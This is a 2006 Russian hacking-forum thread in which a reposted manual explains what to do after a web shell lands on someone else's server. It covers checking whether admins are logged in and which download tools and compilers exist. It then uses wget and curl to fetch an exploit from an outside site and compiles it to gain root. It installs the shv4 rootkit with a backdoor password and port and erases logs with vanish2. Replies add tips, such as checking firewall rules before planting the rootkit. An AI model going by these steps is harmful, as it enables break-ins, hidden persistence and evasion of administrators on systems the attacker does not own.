Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   Чужие Статьи (https://forum.antichat.xyz/forumdisplay.php?f=32)
-   -   Cистема под ударом. (https://forum.antichat.xyz/showthread.php?t=21406)

Utochka 06.07.2006 10:48

Cистема под ударом.
 
Меня часто спрашивают, что делать, после того как шелл был залит и получен доступ к файловой системе удаленной системы.
Поэтому я решил написать небольшой мануал о том, что же все-таки делать после того как ты залил шелл и оказался по ту сторону


сайта, то есть на сервере.

Ну приступим.

Допустим мы с вами воспользовались найденной уязвимостью и нам удалось оказаться по ту сторону сайта, на сервере.

1. Есть ли кто?

Для начала надо посмотреть есть ли кто нить в системе кроме нас, есть ли админы, как давно заходил админ.
Все это можно проделать командой

Код:

who или last -n 10
допустим мы скомандовали who и в ответ получили вот это

Код:

[xzone@hahost ~]$ who
xzone        pts/3                Jul  5 09:44 (89.184.2.9)

как видим в системе сейчас мы одни. Теперь скомандуем last - 10 и посмотрим историю входов, а точнее последние 10 входов.

Код:

[xzone@hahost ~]$ last -n 10
xzone        pts/3                89.184.*.*          Wed Jul  5 09:44  still logged in
xzone        pts/3                89.184.*.*          Wed Jul  5 09:44 - 09:44  (00:00)
ljsoft  ftpd13508        82.162.12.215        Wed Jul  5 09:41 - 09:41  (00:00)
ljsoft  ftpd10081        82.162.12.215        Wed Jul  5 09:37  still logged in
admin@wo ftpd10074        72.9.238.114        Wed Jul  5 09:37 - 09:37  (00:00)
ljsoft  ftpd7911        82.162.12.215        Wed Jul  5 09:33 - 09:34  (00:00)
ljsoft  ftpd7822        82.162.12.215        Wed Jul  5 09:33 - 09:33  (00:00)
ljsoft  ftpd7714        82.162.12.215        Wed Jul  5 09:33  still logged in
ljsoft  ftpd20043        82.162.12.100        Wed Jul  5 09:09 - 09:12  (00:02)
backup  ftpd32504        127.0.0.1                Wed Jul  5 05:23 - 05:23  (00:00)

wtmp begins Sat Jul  1 05:01:35 2006

так как сечас в системе root'а нет поэтому мы можем спокойно работать дальше. Но стоит изредка проверять, не пришел ли админ
сервака, чтобы не пропалиться.

2. Куда мы попали?

Настало время осмотреться, куда же мы все-таки попали. Для этого достаточно выполнить команду uname -a. Вывод, которой нам
повествует о том, какая же это система.

Код:

Linux 2.6.8-022stab077-smp-hb #4 SMP Fri Jun 23 22:59:49 MSD 2006 x86_64 x86_64 x86_64 GNU/Linux
Теперь мы знаем, куда мы попали.

3. Собираем инфу о системе.

Наверное, самый важный момент это собрать как можно больше информации об удаленной системе. Ну, версию оси мы уже выяснили
командой uname -a. Теперь выясним, какие же качалки присутствуют на сервере, а также есть ли компилятор gcc. Это понадобиться


нам для того, чтобы в дальнейшем мы смогли залить сплойт, если собираемся поэксплуатировать систему.

Выполним следующие команды и узнаем, какие качалки есть.

Код:

[xzone@hahost ~]$ which lynx;which links;which get;which wget;which fetch;which curl
/usr/bin/lynx
/usr/bin/which: no links in (/usr/kerberos/bin:/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/xzone/bin)
/usr/bin/which: no get in (/usr/kerberos/bin:/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/xzone/bin)
/usr/bin/wget
/usr/bin/which: no fetch in (/usr/kerberos/bin:/usr/local/bin:/bin:/usr/bin:/usr/X11R6/bin:/home/xzone/bin)
/usr/bin/curl

проверим, есть ли компилятор

Код:

[xzone@hahost ~]$ which gcc
/usr/bin/gcc

ну вот мы выяснили, что на серваке есть wget и curl, а также есть компилятор gcc. Идем дальше.

4. Подбираем сплойт.

Ну, подбор сплойта это даже тема отдельной статьи, так как сплойтов великое множество. Да и система, приведенная нами в

пример
не очень удачна, так как на ней многие сплойты просто не компиляться (x86_64 x86_64 x86_64 GNU/Linux). Архитектура понимаешь!
Так что допустим мы нашли сплойт под эту версию и теперь мы его хотим заюзать.

5. Юзаем сплойт.

Как уже было сказано сплойт мы нашли, осталось дело за малым залить его и запустить ). Для этого перейдем в папку /tmp. Папка


/tmp всегда открыта для записи, что собственно нам и нужно.

командой

Код:

cd /tmp
мы переходим в папку. Теперь заливаем туда найденный нами сплойт качалкой wget

Код:

wget http://site.ru/sploit.c
если же нету качалки wget то мона заюзать curl ну или те которые есть.

Код:

curl http://site.ru/sploit.c > sploit.c
далее выполним команду

Код:

ls -al sploit.c
чем собственно и проверим залился ли наш сплойт. Если сплойт удачно залился, надо его откомпилить. Для этого скомандуем вот
так (Для разных сплойтов может быть по разному, привожу пример простейшего случая!!!)

Код:

gcc sploit.c -o sploit
допустим наш сплойт скомпилился на ура. Теперь дадим егму нужные права на выполнение. Делается это командой chmod с
различными параметрами. Нам нужен параметр +x, который дает права на запуск.

Код:

chmod +x sploit
и наконец запускаем.

Код:

./sploit
после работы сплойта проверим свои права в системе командой id

если мы увидим что-то врожде этого

uid=0(root) gid=0(root)

то самое время кричать УРААА!!! Это значит, что мы рут!

А если права остануться что и прежде значит облом.

6. Закрепляемся в ситеме

Закрепление в системе происходит по средством руткита. Для этого скачиваем руткит-возьмём shv4.

Код:

wget http://splo1t.narod.ru/rootkits/shv4.tar.gz
tar xzf shv4.tar.gz
cd shv4
chmod +x setup
./setup root  1280

где pass(пароль) и 1280(порт) ваши значения. Чтобы избежать проблем не надо вешать реткит на высокий порт.
Заходит в putty указываем сайт, порт и конектимся. Имя root,а пароль тот что вы указали при настройке.
В моём случае это root.

После того как мы зашли, проверим, светиться ли нащ порт. Выполним команду

Код:

nestat -an
Как видите заданный порт не где не светится,а значит мы освободили себя от зоркого глаза админа
Осталось, почистить логи.

7. Чистим логи.

Но после всех наших преключений остануться логи. Все наши действия будут записаны, для хакера это смерть! Поэтому их надо
почистить. Для чистки логов я пользуюсь такой замечательной программой как vanish2. vanish2 - одна из лучших под *nix.

скачиваем vanish2

ставим права на запуск
Код:

chmod +x vanish2.
Собираем

Код:

gcc vanish2.c –o vanish
Запускаем:
Код:

./vanish root name_site 127.0.0.1
Где 127.0.0.1 ваш реальный ip.
Если мы увидим надпись V_A_N_I_S_H_E_D_! то значит все ok! Мы все почистили.


Специально для Xzone.org.ru.
Автор: NEO
Изначальна статья была размещена на http://xzone.org.ru/showthread.php?t=58

SMiX 06.07.2006 10:56

Респект, только вместо этого
Цитата:

[xzone@hahost ~]$ which lynx;which links;which get;which wget;which fetch;which curl
можно
Код:

[xzone@hahost ~]$ which lynx links get wget fetch curl
:)

bl4ck-cat 06.07.2006 11:04

http://forum.antichat.ru/thread17581.html - статья Desr0w

Utochka 06.07.2006 11:42

Цитата:

http://forum.antichat.ru/thread17581.html - статья Desr0w
та описано получение рута, а у меня просто общий случай
Цитата:

Респект, только вместо этого
Цитата:
[xzone@hahost ~]$ which lynx;which links;which get;which wget;which fetch;which curl

можно
Код:
[xzone@hahost ~]$ which lynx links get wget fetch curl

так работает не всегда

bandera 06.07.2006 12:36

Согласен с Bl4ck-cat.
Отличаеться только тем, что рассматривается компиляция сплойтов и ...
Цитата:

1. Есть ли кто?

KseZ0RG 06.07.2006 12:47

Так, небольшие замечания... :D
Цитата:

Сообщение от NeX
так как сечас в системе root'а нет поэтому мы можем спокойно работать дальше. Но стоит изредка проверять, не пришел ли админ сервака, чтобы не пропалиться.

Админ скорее всего не зайдет под рутом... Ведь для чего существует тогда комадна SU?

Цитата:

Сообщение от NeX
Нам нужен параметр +x, который дает права на запуск

Можно и не ставить -- gcc всегда делает бинарник исполняемым...

З.Ы. Перед запуском руткита неплохо бы посмотреть настройки фаера, а то мож порт закрыт на входящие...

DisturbeR 06.07.2006 12:59

Извините за излишнюю тупорылость, но мне просто интересно кто ни будь вообще набирал в линух консоли команду who. Или все откуда-то это переписывают? Сколько раз не пробовал всегда облом :) , пока случайно не набрал команду w и не получил, то что нужно.
Я, было, думал, что ее называют who, а пишут w. Но у автора явно видно, что он вводит именно who и получает результат. Сейчас попробовал на нескольких веб-шелах и нихера who - нет, w – есть. Толи гоню, толи старею :)

bandera 06.07.2006 13:13

Цитата:

Сообщение от DisturbeR
Извините за излишнюю тупорылость, но мне просто интересно кто ни будь вообще набирал в линух консоли команду who. Или все откуда-то это переписывают? Сколько раз не пробовал всегда облом :) , пока случайно не набрал команду w и не получил, то что нужно.
Я, было, думал, что ее называют who, а пишут w. Но у автора явно видно, что он вводит именно who и получает результат. Сейчас попробовал на нескольких веб-шелах и нихера who - нет, w – есть. Толи гоню, толи старею :)

Да ты прав, тоже щас на нескольких проверил. Who - нет, w - есть.

Utochka 06.07.2006 15:41

Цитата:

Извините за излишнюю тупорылость, но мне просто интересно кто ни будь вообще набирал в линух консоли команду who. Или все откуда-то это переписывают? Сколько раз не пробовал всегда облом :) , пока случайно не набрал команду w и не получил, то что нужно.
Я, было, думал, что ее называют who, а пишут w. Но у автора явно видно, что он вводит именно who и получает результат. Сейчас попробовал на нескольких веб-шелах и нихера who - нет, w – есть. Толи гоню, толи старею :)
всегда юзал who! всегда пахала


Время: 12:02